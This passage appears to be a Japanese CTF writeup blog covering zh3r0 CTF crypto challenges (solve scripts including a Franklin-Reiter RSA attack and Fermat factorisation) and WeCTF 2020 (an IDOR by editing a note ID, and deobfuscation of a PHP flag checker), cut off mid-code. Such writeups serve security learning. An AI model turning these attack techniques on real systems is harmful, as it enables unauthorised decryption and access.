import base58
from binascii import unhexlify
from Crypto.Util.number import *

def rot47(s):
    d = ''
    for c in s:
        code = ord(c) + 47
        if code > 126:
            code -= 94
        d += chr(code)
    return d

def rev_xor(str1, str2, num):
    return chr((ord(str1[num]) ^ ord(str2[num])) - num)

key = '5Nzwbdkvm1VF1X3zc8d6kPd7MMTgSW9Dv1otpwkbPyggHqk5CaEHYwCD14vBdc3w86'
key = rot47(base58.b58decode(key).decode())
print('key =', key)

ct = [b'03367345', b'46c39f41c3a8', b'1544651a', b'03451b28', b'77c3aac3a275',
    b'c39e16c3b6c3b2', 391124763, 121061897, 1396123432, 389813723487,
    295339258400, 131682038629031]

ct1 = ''
for i in range(6):
    ct1 += (unhexlify(ct[i])).decode()

flag1 = ''
for i in range(24):
    flag1 += rev_xor(ct1, key[len(key)//2:], i)

ct2 = ''
for i in range(6):
    ct2 += (long_to_bytes(ct[i+6])).decode()

flag2 = ''
for i in range(24):
    flag2 += rev_xor(ct2, key[:len(key)//2], i)

flag = flag1 + flag2
print(flag)

実行結果は以下の通り。

key = H3ll0_tbh_Th15_15_7h3_k3y_F0r_7hi5_ch4ll3ng3_atb
zh3r0{pyth0n_di54ss3mbly_byt3c0d3_i5_s0_aw350m3}
zh3r0{pyth0n_di54ss3mbly_byt3c0d3_i5_s0_aw350m3}

We are related (Crypto)

$ nc crypto.zh3r0.ml 9841
__        __   _                            _        
\ \      / /__| | ___ ___  _ __ ___   ___  | |_ ___  
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ | __/ _ \ 
  \ V  V /  __/ | (_| (_) | | | | | |  __/ | || (_) |
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|  \__\___/ 
                                                     
 ______     _____       ___     ____ _____ _____ 
|__  / |__ |___ / _ __ / _ \   / ___|_   _|  ___|
  / /| '_ \  |_ \| '__| | | | | |     | | | |_   
 / /_| | | |___) | |  | |_| | | |___  | | |  _|  
/____|_| |_|____/|_|   \___/   \____| |_| |_|    
                                                 
Enter the Selection from below:
1.Print PublicKey
2.Encrypt
0.Exit
1
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAl/DEzNkDSy545CVnRDY6
MvnY3uT9AqXvUawLjvPxkpGFvjNZgXUZDXz4d+OM+kI0wCitG/qKKyALNBCRV4H1
Ff032MF4M83DZauv9mekDRYTHt1kc3yjXGgkDKrbwx/52oK1zzjDpdL35+0DGrCV
MuM6UUGmwULkt9pwkltaQ7CnK/mD8r9/kxCvYrsOdXKfG7oa6M8jmJ2Fg8KI30K7
BNLBQnrHEd+gk9cbeZO2EPfCgpeRBIkpN/m+wCaVeF4MhvHAqO7WY8HWGnWOXTvX
s/s38/18neVZpi6sb+Xzd5bS3MXF6LAYnpsPFtlZQwkef0isv+fIbRehCBxOOXMO
cwIBAw==
-----END PUBLIC KEY-----
-
Enter the Selection from below:
1.Print PublicKey
2.Encrypt
0.Exit
2
Enter the string to encode: abcd
Enc(flag + txt )=  8970069242936796240592467432599156013080215640242622142716638380716496388318218827228177466775343321619498071518451653744711981856521130553675889757562908518677580048412886296996915808378746450183982256985464602144653407697809249520698602827527280781562784845946163489064901426799558385428176157519796179474332484171830380047013723814868909474003768621828427343543355871057472154281785885153866549296559467827664976305001529862210453635791629571086504961684919394576382581049981522305048694616340885019017787650425307937177838677302828709346413542174337381942446754224559359173158887030894762785463508182475761729429

差異が小さい2つの平文を指定して得られた暗号文から、Franklin-Reiter Related Message Attackで復号する。

import socket
import re
from Crypto.PublicKey import RSA
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.zh3r0.ml', 9841))

data = recvuntil(s, 'Exit\n').rstrip()
print data
print '1'
s.sendall('1\n')
data = recvuntil(s, 'Exit\n').rstrip()
print data

pattern = '(-----BEGIN.+)\n-\n'
m = re.search(pattern, data, re.DOTALL)
pub_data = m.group(1)
pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e

print '2'
s.sendall('2\n')
data = recvuntil(s, ': ')
print data + '0'
s.sendall('0\n')
data = recvuntil(s, '\n').rstrip()
print data
c1 = int(data.split('= ')[1])

data = recvuntil(s, 'Exit\n').rstrip()
print data
print '2'
s.sendall('2\n')
data = recvuntil(s, ': ')
print data + '1'
s.sendall('1\n')
data = recvuntil(s, '\n').rstrip()
print data
c2 = int(data.split('= ')[1])

m = related_message_attack(c1, c2, 1, e, n) - ord('0')
flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

__        __   _                            _        
\ \      / /__| | ___ ___  _ __ ___   ___  | |_ ___  
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ | __/ _ \ 
  \ V  V /  __/ | (_| (_) | | | | | |  __/ | || (_) |
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|  \__\___/ 
                                                     
 ______     _____       ___     ____ _____ _____ 
|__  / |__ |___ / _ __ / _ \   / ___|_   _|  ___|
  / /| '_ \  |_ \| '__| | | | | |     | | | |_   
 / /_| | | |___) | |  | |_| | | |___  | | |  _|  
/____|_| |_|____/|_|   \___/   \____| |_| |_|    
                                                 
Enter the Selection from below:
1.Print PublicKey
2.Encrypt
0.Exit
1
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAl/DEzNkDSy545CVnRDY6
MvnY3uT9AqXvUawLjvPxkpGFvjNZgXUZDXz4d+OM+kI0wCitG/qKKyALNBCRV4H1
Ff032MF4M83DZauv9mekDRYTHt1kc3yjXGgkDKrbwx/52oK1zzjDpdL35+0DGrCV
MuM6UUGmwULkt9pwkltaQ7CnK/mD8r9/kxCvYrsOdXKfG7oa6M8jmJ2Fg8KI30K7
BNLBQnrHEd+gk9cbeZO2EPfCgpeRBIkpN/m+wCaVeF4MhvHAqO7WY8HWGnWOXTvX
s/s38/18neVZpi6sb+Xzd5bS3MXF6LAYnpsPFtlZQwkef0isv+fIbRehCBxOOXMO
cwIBAw==
-----END PUBLIC KEY-----
-
Enter the Selection from below:
1.Print PublicKey
2.Encrypt
0.Exit
2
Enter the string to encode: 0
Enc(flag + txt )=  13169774813221511932243873546844686383429967108387653396065460783119889477620840823513401679577611996837338005483588575134052478350079942715431961589620136843875590673217399575273596108447574506950030016546674713998660920813377509803665385450453818464732354501901994635510858425018006454080817781883348815744626138292034308959728140477817938045617359712978850536365597757007166295857825722644656280282334225559119248341906162439090046230116071626572773985654425634020373645249892360206543799112345973352843561359517466444973871246937018740694815587461488742430916233108821158490464189819556074363093373542390633034484
Enter the Selection from below:
1.Print PublicKey
2.Encrypt
0.Exit
2
Enter the string to encode: 1
Enc(flag + txt )=  7173580354976976582846590191301810085856396752549786919532282832533101326381038480413419787621164385989627028836508242290734402539094318654342082710202448254109164534425787618048338637638538182485709796170229306721213213871796048985877100141346650130649164671419423764444799227908522501862169358337016555547839809907903306641248006682666090175543733313599888473230020267536267560168443530120397567559212060988777001875141401939586720334705305599527225657558531710039260966722747077329579035916023580488134685249195364073768587522245963657969409482612377689329215793636904499387493478394264950062032110440994873062374
RSA is secure and all but the only thing I want to say is zh3r0{Hey_y0u_Sh0u1dn't_S3nd_r3l4ted_m3ssag3s_0r_h4v3_shot_p4ddings_wh3n_e_1s_sm411!!!!!}.
zh3r0{Hey_y0u_Sh0u1dn't_S3nd_r3l4ted_m3ssag3s_0r_h4v3_shot_p4ddings_wh3n_e_1s_sm411!!!!!}

Analyse me (Crypto)

サーバの処理概要は以下の通り。

・msgの長さは80
・4バイトごとに以下を繰り返し、順に行う。
 ・base64
 ・base32
 ・base85
 ・hexlify
 →結果を数値化して、|区切りで表示

このことからmsgを求めることが可能。msgを正しく入力できたら、次のステージに進める。

・keyを表示
 →final_keyに設定
・list_flag: flagを4バイトごとに16進数表記した配列
・rand_num = 2~4ランダム整数
・flagの各文字について以下の処理を行う。
 ・chr = <flagの4バイト16進数表記(8バイト)>
 ・rand_num回実行
  ・chr=table[chr[0]][chr[1]]+table[chr[2]][chr[3]]+table[chr[4]][chr[5]]+table[chr[6]][chr[7]]
  ・final_listに追加
・key_list: final_keyを4バイトごとに16進数表記した配列
・xor_list: final_listとkey_listをXORしたデータを表示
・フラグを入力したら、正しいかどうかをチェックできる。

key_listとkey_listをxorしたら、final_listになる。あとはテーブルの参照の仕方から元に戻して、先頭がフラグの先頭4バイトの16進数表記と同じになるまで戻す。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor
from binascii import *
from base64 import *
import string

table = {'0':{'0':'63','1':'7c','2':'77','3':'7b','4':'f2','5':'6b','6':'6f','7':'c5','8':'30','9':'01','a':'67','b':'2b','c':'fe','d':'d7','e':'ab','f':'76'},
       '1':{'0':'ca','1':'82','2':'c9','3':'7d','4':'fa','5':'59','6':'47','7':'f0','8':'ad','9':'d4','a':'a2','b':'af','c':'9c','d':'a4','e':'72','f':'c0'},
       '2':{'0':'b7','1':'fd','2':'93','3':'26','4':'36','5':'3f','6':'f7','7':'cc','8':'34','9':'a5','a':'e5','b':'f1','c':'71','d':'d8','e':'31','f':'15'},
       '3':{'0':'04','1':'c7','2':'23','3':'c3','4':'18','5':'96','6':'05','7':'9a','8':'07','9':'12','a':'80','b':'e2','c':'eb','d':'27','e':'b2','f':'75'},
       '4':{'0':'09','1':'83','2':'2c','3':'1a','4':'1b','5':'6e','6':'5a','7':'a0','8':'52','9':'3b','a':'d6','b':'b3','c':'29','d':'e3','e':'2f','f':'84'},
       '5':{'0':'53','1':'d1','2':'00','3':'ed','4':'20','5':'fc','6':'b1','7':'5b','8':'6a','9':'cb','a':'be','b':'39','c':'4a','d':'4c','e':'58','f':'cf'},
       '6':{'0':'d0','1':'ef','2':'aa','3':'fb','4':'43','5':'4d','6':'33','7':'85','8':'45','9':'f9','a':'02','b':'7f','c':'50','d':'3c','e':'9f','f':'a8'},
       '7':{'0':'51','1':'a3','2':'40','3':'8f','4':'92','5':'9d','6':'38','7':'f5','8':'bc','9':'b6','a':'da','b':'21','c':'10','d':'ff','e':'f3','f':'d2'},
       '8':{'0':'cd','1':'0c','2':'13','3':'ec','4':'5f','5':'97','6':'44','7':'17','8':'c4','9':'a7','a':'7e','b':'3d','c':'64','d':'5d','e':'19','f':'73'},
       '9':{'0':'60','1':'81','2':'4f','3':'dc','4':'22','5':'2a','6':'90','7':'88','8':'46','9':'ee','a':'b8','b':'14','c':'de','d':'5e','e':'0b','f':'db'},
       'a':{'0':'e0','1':'32','2':'3a','3':'0a','4':'49','5':'06','6':'24','7':'5c','8':'c2','9':'d3','a':'ac','b':'62','c':'91','d':'95','e':'e4','f':'79'},
       'b':{'0':'e7','1':'c8','2':'37','3':'6d','4':'8d','5':'d5','6':'4e','7':'a9','8':'6c','9':'56','a':'f4','b':'ea','c':'65','d':'7a','e':'ae','f':'08'},
       'c':{'0':'ba','1':'78','2':'25','3':'2e','4':'1c','5':'a6','6':'b4','7':'c6','8':'e8','9':'dd','a':'74','b':'1f','c':'4b','d':'bd','e':'8b','f':'8a'},
       'd':{'0':'70','1':'3e','2':'b5','3':'66','4':'48','5':'03','6':'f6','7':'0e','8':'61','9':'35','a':'57','b':'b9','c':'86','d':'c1','e':'1d','f':'9e'},
       'e':{'0':'e1','1':'f8','2':'98','3':'11','4':'69','5':'d9','6':'8e','7':'94','8':'9b','9':'1e','a':'87','b':'e9','c':'ce','d':'55','e':'28','f':'df'},
       'f':{'0':'8c','1':'a1','2':'89','3':'0d','4':'bf','5':'36','6':'42','7':'68','8':'41','9':'99','a':'2d','b':'0f','c':'b0','d':'54','e':'bb','f':'16'}}

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def decode(msg, count):
    count = (count % 4) + 1
    if count == 1:
        return b64decode(msg)
    elif count == 2:
        return b32decode(msg)
    elif count == 3:
        return b85decode(msg)
    else:
        return unhexlify(msg)

def search(s):
    for a in string.hexdigits[:16]:
        for b in string.hexdigits[:16]:
            if table[a][b] == s:
                return a + b
    return ''

def rev_rand(lst):
    rev = []
    for e in lst:
        d = b''
        for i in range(0, len(e), 2):
            d += search(e[i:i+2].decode()).encode()
        rev.append(d)
    return rev

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.zh3r0.ml', 3871))

data = recvuntil(s, b'message:')

codes = data.split('\n')[-2].split('|')[:-1]
msg = b''
for i in range(len(codes)):
    b = long_to_bytes(int(codes[i]))
    msg += decode(b, i)

print(data + msg.decode())
s.sendall(msg + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
key = long_to_bytes(int(data.split(' ')[-1]))

data = recvuntil(s, b'DECODING!!! \n').rstrip()
print(data)

data = recvuntil(s, b'flag:')

key_list = [hexlify(key[i:i+4]) for i in range(0, len(key), 4)]
xor_list = eval(data.split('\n')[-2])
final_list = [strxor(i, j) for i, j in zip(xor_list, key_list)]

for i in range(5):
    final_list = rev_rand(final_list)
    if final_list[0] == b'7a683372':
        break

flag = unhexlify(b''.join(final_list))
print(data + flag.decode())
s.sendall(flag + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Hello!
Welcome to Xor analysis..
There are two parts.
All the best ;)

Here is the first part:


5943134639005711677|5491378081737038141|366970695973|3833466206172886320|5640277313745009981|5351739078059639101|302416945480|3762814891798442803|6354696933901548861|5139258452082510141|305635213400|3688506584576963897|5568232986773634365|5139251786226882877|357308525154|3847819437120304993|7008813202989464893|5786655223480211773|306693940071|3689633605503693413|
Enter the decoded message:G00D_TH3_FIRST_P4RT_I5_D0N3_HER3_I5_4_F14G_F0R_Y0U_H4RD_W0RK_=_zh3r0{f4k3_f14g}.
You have done well.
Here is the key:  140262390255733908276964893730429404145946321017929888946337794323005965712203877415028

You completed the first part
 Here is the second and final part ;)
GOOD LUCK DECODING!!!

[b'\x01Z\nU\x05R\x06R', b'\x0b\t\x00RV\x04\x0e\x01', b'\x06\x0b\x00W\n\x06\x05W', b'\x07\x07\x01\\\x0e\x07\x04P', b'T\x01\x06W\x03\x04\x05R', b'\x04QS\x06\x0b\n\r_', b'W\x0b\x04P\x0cST\r', b'\nUS\x01\x01U\r\x00', b'\x05T\x03\x02\x05\x08\x03\x03']
Enter the flag:zh3r0{Y0u_4r3_4_v3ry_G00d_4nalys3r!}
Perfect you got the flag ;)
Go submit it!!!
zh3r0{Y0u_4r3_4_v3ry_G00d_4nalys3r!}

Uncipher Me (Crypto)

key.txtの内容をbase64デコードする。

N: GI3DONZWGQZDGMRVGEYDKOBVHE2DMMJYG4ZDANBTGA4TIMBRGEYTGMBZGM4TSMBYGI2TMMBQGU4DINJXGQ2TKNBQGA3TKNZSG43DMOBTHE2DIOJYG43DQMZWHE4TMMZZGQYTSMBTHEZDANJXHE4DMMJWGMYTENJSG44TCMZUHE4DINJQGQYTMNRWGM4TAMRXGM4TQNRUGIYTCMRZGI2DINBXGA3TSMRVGI4DCNZYG44DANZUGYYDMMBTGQ3DAOBXG4ZDGNJVHEYDSNBRHA2TKMJWGY4TOOJUGQ3TKOBTG44TOOBVGI4DOMJQGUZTMNBUGE4DONRZGAYTSOBTG44DAMZTGEZTCOJUGQ3DINZSGQZDONRTGY3DKOJTGEZDGOBVGE3TEOJSHA4TMNRVGMYDSMRWGA2DONJUG44TOMBXGEYDGMRXGUZTMOJVG4YDQNJVHA4DMNRRGMZTQNRWGI3DONZSGA3DCOJRGM3DANRTGY2TSMJUHA4DONZRGI3DKNZRGY2DCOJYGE3DSNZQGIYDQNZRGQZDMMBTHAZDANBXHE4TCMJZGA3TAMRTHEZTAMBVGAZDCNZUGY2TIMZSG4YTQMZWGE4DQOJXGAZTSOBSGY4TAOBTGM2TGNBZGI2DEMBRG44TGMZRHE3DKNZVGQ4DMNJZGI2DQNBXHA3DCNBZGA4DEMZTGYYTENBYGE4TEMRQGM4DOMBVGYYTKMJRGMZTEOBRGI2TQOBXGU2TKNBYGIYDMNBSGAYDGMJXHAZTEMRSGE3TQOBSGE4DMNJYGA2TOMJTGEZTENRYGM4DMMJQGI4DIMJYG4YTOOJUHE4DOOBQGIZTMMJWGM2TEOBXGI2TOOJSGM3TQOJRG4ZTIMRSGIYTOOJRGQYTINJYG43TGOBRGYZTGOBSHA3DQNZYGQZTSNBZGY3DAMZSGU3TGNBRGQZTCOBTGQ3TMMZUGQ2DGMZSGAYDAOJRGI2DSMJSGU3DINZTHEZQ====
 e: GY2TKMZX
 ct:  GB7kTHaRdkH#IRfHZ?RjH8(afGc-0eG&eLbI5IRiHaIplG&VOmGcz+eFf=(ZF)=hYH8D9dH83?ZH#9gnI59LaIW{seGc-9iGBP(YGB7YWIWaafIWspgHa0jnG%z_gIXE~mH90gjIW#yoIXE;iGdDRkI5jspH#jvjIWaRcGc_<ZGdVahH8?jmGB!0bH!?FfG&eUmF*!CdH#9UjHZ?FeFflhaFfceWGcz<bI5RggH!?OfHZwIgI5aXaH83_eG&4ClH#RXfH#IdiFgP?YH#askGBGzaFgQ3fI5{~oF*P<bF*PtTHZe9gI5apkIW#pnHZU|ZIXO5mHaImhHZd_XGBPtUFflYVIW#yqF*i9eH83+XH#apfGc`6gFg7qbHa9piHZ?LgGdVdjGBh+dHZe3gH90dkF*r6iIWaLgIW{&mIWaRbI5s&rI5RdkIWaLgHaIdcGBP(YG&nRjH#IgiGBP$dGc`FjG&nRfGB`3YI5;;lHZnFfG%++VF)}bSH#9UjFgZ9fGB+|XG&DIhGcq+fHa9RhFgP$XIXN;gGBP(bF)%VVFf}wdFf%bVH#9RgH#9aiHaIjeI5jykGc-3jG%+?XH!?IhG%_?YF*!6cF)}eWI59XhIXE#iI5jgfF*!3hH!v_WGB7zZI503WF)=nYHZ(FbHZd|VIW;gfFf}tcFgGwVF*P(bHa9pmGdM6cI5IgfGBh<ZGdVIfF*P(cH#s&mGB+|aF*h|bHZU+ZF*!6eGdVLkIX5{tGdMXnHZ(LhH#IOdI503XFf=hUG5

N, eはbase32、ctはbase85でデコードできる。NはFermat法で素因数分解できたので、そのまま復号する。

#!/usr/bin/env python3
import base64
from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

with open('key.txt', 'r') as f:
    key = f.read()

param = base64.b64decode(key).decode()
N = int(base64.b32decode(param.split('\n')[0].split(' ')[1]).decode())
e = int(base64.b32decode(param.split('\n')[1].split(' ')[2]).decode())
ct = int(base64.b85decode(param.split('\n')[2].split(' ')[3]).decode())

p, q = fermat(N)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, N)
pt = long_to_bytes(m).decode()
print(pt)

この実行結果は以下の通り。

key: kD87Ef4y043nhee-W_Hytc0d3Bkiw4Gw21m-7AHpZkc=
This is one of the keys for the encryption.Totally 3 keys to decrypt the encrypted text

次にkey_2.txtの内容をrot47で復号する。

key: iQZijGdoX0hepv2wnFZOUsTWU-v6xyGWyqSan_p75CE=
Here's another key for the encryption.
if you are a good cryptographer you can identify the common symmetric encryption.

さらにkey_3.txtの内容をVigenere暗号と推測して、https://www.guballa.de/vigenere-solverで復号する。

key: XeQVPB98P3fve4lJvfk345uARbNDE4F17NFZJBHC1dY= 
The last key and you can go decrypte the cipher,
 if you couldn't identify then see the starting part of the ciphertext, 
if the decryptions with the keys doesn't work then try rearranging the keys.

ct.txtの内容からFernat暗号であると推測でき、3つの各キーで復号を試す。
この結果key2を使って、Fernat暗号として復号することができた。

from cryptography.fernet import Fernet

token = 'gAAAAABe5zDHy1Vk74P8AspzQ4bqK9dzfI52djZeMbsXRk8G5ng1BtYmDj7v6SCbx7cvnUFu2fDh6XTVtQPQqlJcVVCxGoA0P4L_gtSIGHQPLZysxuoN1E7kP_5lZFbZLo6b6G-YqFxs'
key = 'iQZijGdoX0hepv2wnFZOUsTWU-v6xyGWyqSan_p75CE='

f = Fernet(key)
flag = f.decrypt(token)
print flag
zh3r0{Symm3tric_3ncrypti0n_i5_5tr0ng}

WeCTF 2020 Writeup

この大会は2020/6/14 2:00(JST)~2020/6/15 2:00(JST)に開催されました。
今回もチームで参戦。結果は441点で257チーム中106位でした。
自分で解けた問題をWriteupとして書いておきます。

Note App

アカウントを作成してログインすると、Note作成画面になる。適当に文字を追加して、Create Noteをすると、Noteが作成される。
f:id:satou-y:20200621221157p:plain
Note ID: 19のリンクをクリックして見てみると、入力した内容が表示され、URLは以下に移る。

http://na1.w-jp.cf/note/19

なぜかIDは19から始まっている。IDを1にしたURLでアクセスしてみる。

http://na1.w-jp.cf/note/1

Note ID: 1のページにフラグが書いてあった。
f:id:satou-y:20200621221246p:plain

we{7b9f9649-9226-4027-92cc-53d192efa414@H0w-1-Cee-CLasSmaTe8-sc0Res}

RE

添付のphpを整形する。

<?php
goto N0szu;

veU3P: 
goto pQRcr;
goto IumIK;

h6FIk: 
echo "\x67\x6f\157\144\40\x6a\x6f\142\x21";
goto UUbDK; 

EGqNR: 

npj3x: 
goto zu5hE; 

s2urN: 
echo iK43N(); 
goto wOcDP; 

l9KrJ: 
echo "\x6e\x6f\164\40\164\x68\145\40\x66\154\x61\147\x21"; 
goto veU3P; 

yL5pP: 
function z3UeR($ImMRk) { 
    goto TajPo; 

    p5dMS: 
    return $FAAyo === $ImMRk; 
    goto cmY0H; 

    RIhuW: 
    $JrhK3 = "\150\x74\x74\x70\163\72\57\57\x63\x6c\x62\151\156\x2e\143\157\155\x2f{$Z58VF}"; 
    goto AB_gB; 

    TajPo: 
    $Z58VF = "\x49\123\x4b\x34\x31"; 
    goto RIhuW; 

    AB_gB: 
    $FAAyo = str_replace("\12", '', file_get_contents($JrhK3)); 
    goto p5dMS; 

    cmY0H: 
} 
goto tsmPP; 

rCgwE: 
if (!($argc !== 2 || $argv[1] === "\55\55\x68\x65\154\160")) { 
    goto npj3x; 
} 
goto s2urN; 

HqIXQ: 
if (z3Uer($WYrTt[0]) && pkxLr($WYrTt[1])) { 
    goto bNu31; 
} 
goto l9KrJ; 

wOcDP: 
die; 
goto EGqNR; 

zu5hE: 
$WYrTt = explode("\x40", $argv[1]); 
goto yL5pP; 

tsmPP: 
function PKxlr($ImMRk) { 
    goto Ovh2D; 

    Ovh2D: 
    foreach (str_split($ImMRk) as $NXbA9 => $LW9s3) { 
        goto wixWZ; 

        wixWZ: 
        $LW9s3 = md5($LW9s3); 
        goto ZDD1u; 

        ZDD1u: 
        if (!(["\x38\x30\60\x36\x31\70\71\x34\x33\60\x32\x35\63\61\65\x66\70\x36\71\x65\x34\145\x31\146\60\x39\64\x37\x31\x30\61\62", "\x37\142\x37\x37\64\145\x66\146\145\x34\141\63\64\x39\143\66\144\144\70\62\x61\x64\x34\x66\x34\146\62\61\x64\x33\x34\x63", "\70\144\71\143\63\60\x37\143\x62\67\146\63\143\64\x61\63\x32\x38\x32\62\x61\65\61\x39\x32\62\144\x31\x63\145\x61\141", "\142\61\x34\x61\67\x62\70\x30\65\x39\144\71\143\x30\65\65\x39\x35\64\x63\71\x32\x36\x37\x34\143\145\x36\x30\60\63\62", "\x39\x32\x65\142\x35\x66\146\x65\145\x36\x61\145\62\x66\x65\x63\63\x61\x64\x37\x31\143\x37\67\67\x35\x33\x31\65\67\70\x66", "\67\142\67\67\64\145\x66\x66\145\64\x61\63\64\x39\x63\66\144\x64\70\62\x61\144\64\146\64\146\x32\x31\x64\63\x34\x63", "\x38\146\x31\64\x65\x34\65\146\x63\x65\x65\x61\x31\x36\67\141\65\x61\63\66\144\x65\144\144\x34\x62\145\x61\62\65\64\63", "\142\x31\x34\141\67\142\x38\60\65\x39\x64\x39\x63\x30\65\x35\x39\65\x34\143\71\x32\x36\67\64\x63\x65\x36\60\60\63\62", "\x37\x62\x38\x62\71\x36\65\141\x64\64\x62\x63\141\60\x65\x34\61\x61\142\65\x31\144\145\x37\142\x33\x31\x33\x36\x33\141\x31", "\143\146\x63\x64\x32\x30\x38\64\x39\x35\144\x35\x36\x35\x65\x66\66\66\145\x37\x64\x66\x66\x39\146\71\70\67\x36\64\144\x61", "\142\61\x34\x61\67\142\x38\60\x35\71\144\71\x63\60\x35\65\71\65\x34\x63\x39\62\66\x37\x34\x63\145\x36\x30\60\63\62", "\71\x32\x65\142\x35\146\146\x65\145\x36\141\145\62\146\x65\x63\63\141\x64\x37\x31\143\67\67\x37\65\x33\x31\x35\67\x38\x66", "\x65\x31\x65\61\x64\63\x64\x34\x30\65\x37\x33\x31\x32\67\145\x39\x65\145\60\64\70\60\x63\x61\146\x31\62\70\63\x64\66", "\67\x62\x37\67\64\145\146\x66\145\x34\x61\63\64\71\143\66\x64\x64\70\x32\141\x64\x34\x66\64\x66\x32\x31\144\x33\64\143", "\x62\71\145\x63\145\x31\70\x63\71\x35\x30\x61\x66\x62\146\x61\x36\142\60\146\144\x62\146\x61\64\146\x66\x37\x33\x31\x64\63", "\x38\60\x30\66\61\x38\71\64\63\x30\x32\x35\x33\61\65\x66\70\66\x39\x65\x34\145\61\146\60\71\64\x37\x31\x30\61\x32", "\70\x34\x63\64\60\64\x37\x33\64\61\64\143\x61\x66\62\145\x64\64\x61\67\x62\x31\62\70\x33\145\64\70\x62\x62\146\x34", "\71\x33\67\61\144\67\141\x32\x65\63\141\x65\70\66\141\60\x30\x61\x61\x62\64\67\x37\x31\x65\63\x39\x64\x32\x35\x35\144", "\64\x62\x34\x33\142\x30\x61\x65\x65\63\65\66\x32\64\143\144\x39\65\x62\71\x31\x30\61\70\x39\142\x33\144\143\62\x33\x31", "\60\x64\x36\61\146\x38\63\67\60\143\x61\x64\61\144\x34\x31\x32\x66\70\x30\142\x38\x34\144\x31\x34\x33\145\61\x32\x35\x37", "\x65\61\x36\x37\x31\67\71\67\x63\65\62\x65\61\65\146\x37\x36\x33\x33\x38\60\x62\64\65\145\x38\64\x31\x65\143\x33\x32", "\x65\61\x36\67\x31\x37\71\x37\x63\x35\x32\145\61\x35\x66\x37\66\x33\63\x38\60\x62\64\65\x65\70\x34\61\145\x63\63\62", "\145\x31\66\67\61\67\71\67\143\65\62\145\61\x35\146\67\x36\63\x33\70\60\x62\x34\x35\145\70\64\61\145\x63\x33\x32", "\x65\x31\66\x37\61\x37\x39\x37\x63\x35\x32\x65\x31\x35\146\67\66\x33\63\70\60\142\64\65\x65\x38\x34\x31\145\143\x33\62", "\x65\61\66\67\x31\x37\x39\67\x63\65\62\x65\61\x35\146\x37\x36\x33\63\70\x30\x62\64\65\x65\70\64\61\145\143\63\x32", "\142\61\x34\x61\67\142\70\60\65\71\144\71\x63\x30\65\65\x39\x35\64\143\x39\x32\66\x37\x34\143\145\66\60\x30\63\62", "\x32\144\x62\71\x35\x65\70\x65\61\x61\x39\62\66\x37\142\x37\141\x31\x31\70\x38\65\65\66\x62\x32\x30\61\63\142\63\63", "\143\146\143\144\x32\60\x38\x34\x39\65\144\x35\66\x35\x65\146\66\66\x65\67\144\146\146\71\146\x39\x38\67\66\64\144\x61", "\x63\x34\143\141\x34\62\x33\x38\141\60\142\71\62\63\70\x32\60\144\x63\143\65\60\71\141\x36\146\67\x35\x38\x34\71\x62", "\x39\60\63\x33\x65\60\145\x33\x30\65\x66\62\x34\x37\143\x30\143\63\143\x38\x30\144\x30\x63\x37\x38\x34\x38\x63\x38\142\63"][$NXbA9] !== $LW9s3)) { 
            goto cjeNi; 
        } 
        goto Wq20G; 

        esj_P: 

        W8_V0: 
        goto su1qt; 

        Wq20G: 
        return false; 
        goto y40lA; 

        y40lA: 

        cjeNi: 
        goto esj_P; 

        su1qt: 
    } 
    goto ZbMyy; 

    Nu8WA: 
    return true; 
    goto brx16; 

    ZbMyy: 

    fqhOn: 
    goto Nu8WA; 

    brx16: 
} 
goto HqIXQ; 

IumIK: 

bNu31: 
goto h6FIk; 

N0szu: 
function Ik43N() { 
    return "\125\163\x61\147\x65\72\x20\12" . "\x20\x20\40\x70\150\x70\40\170\56\160\150\160\40\74\x66\x6c\141\147\x3e\40\x20\x20\x20\40\103\150\x65\143\x6b\40\164\x68\145\40\146\x6c\141\x67\12" . "\40\40\x20\160\x68\160\40\x78\x2e\160\150\x70\x20\55\55\150\x65\154\x70\40\40\x20\x20\x20\120\162\x69\156\x74\x20\x74\150\151\163\40\155\145\163\163\x61\x67\145\12"; 
} 
goto rCgwE; 

UUbDK: 

pQRcr:

さらに書き換える。

<?php
goto N0szu;

veU3P: 
goto pQRcr;
goto IumIK;

h6FIk: 
echo "good job!";
goto UUbDK; 

EGqNR: 

npj3x: 
goto zu5hE; 

s2urN: 
echo iK43N(); 
goto wOcDP; 

l9KrJ: 
echo "not the flag!"; 
goto veU3P; 

yL5pP: 
function z3UeR($ImMRk) { 
    goto TajPo; 

    p5dMS: 
    return $FAAyo === $ImMRk; 
    goto cmY0H; 

    RIhuW: 
    $JrhK3 = "https://clbin.com/{$Z58VF}"; 
    goto AB_gB; 

    TajPo: 
    $Z58VF = "ISK41"; 
    goto RIhuW; 

    AB_gB: 
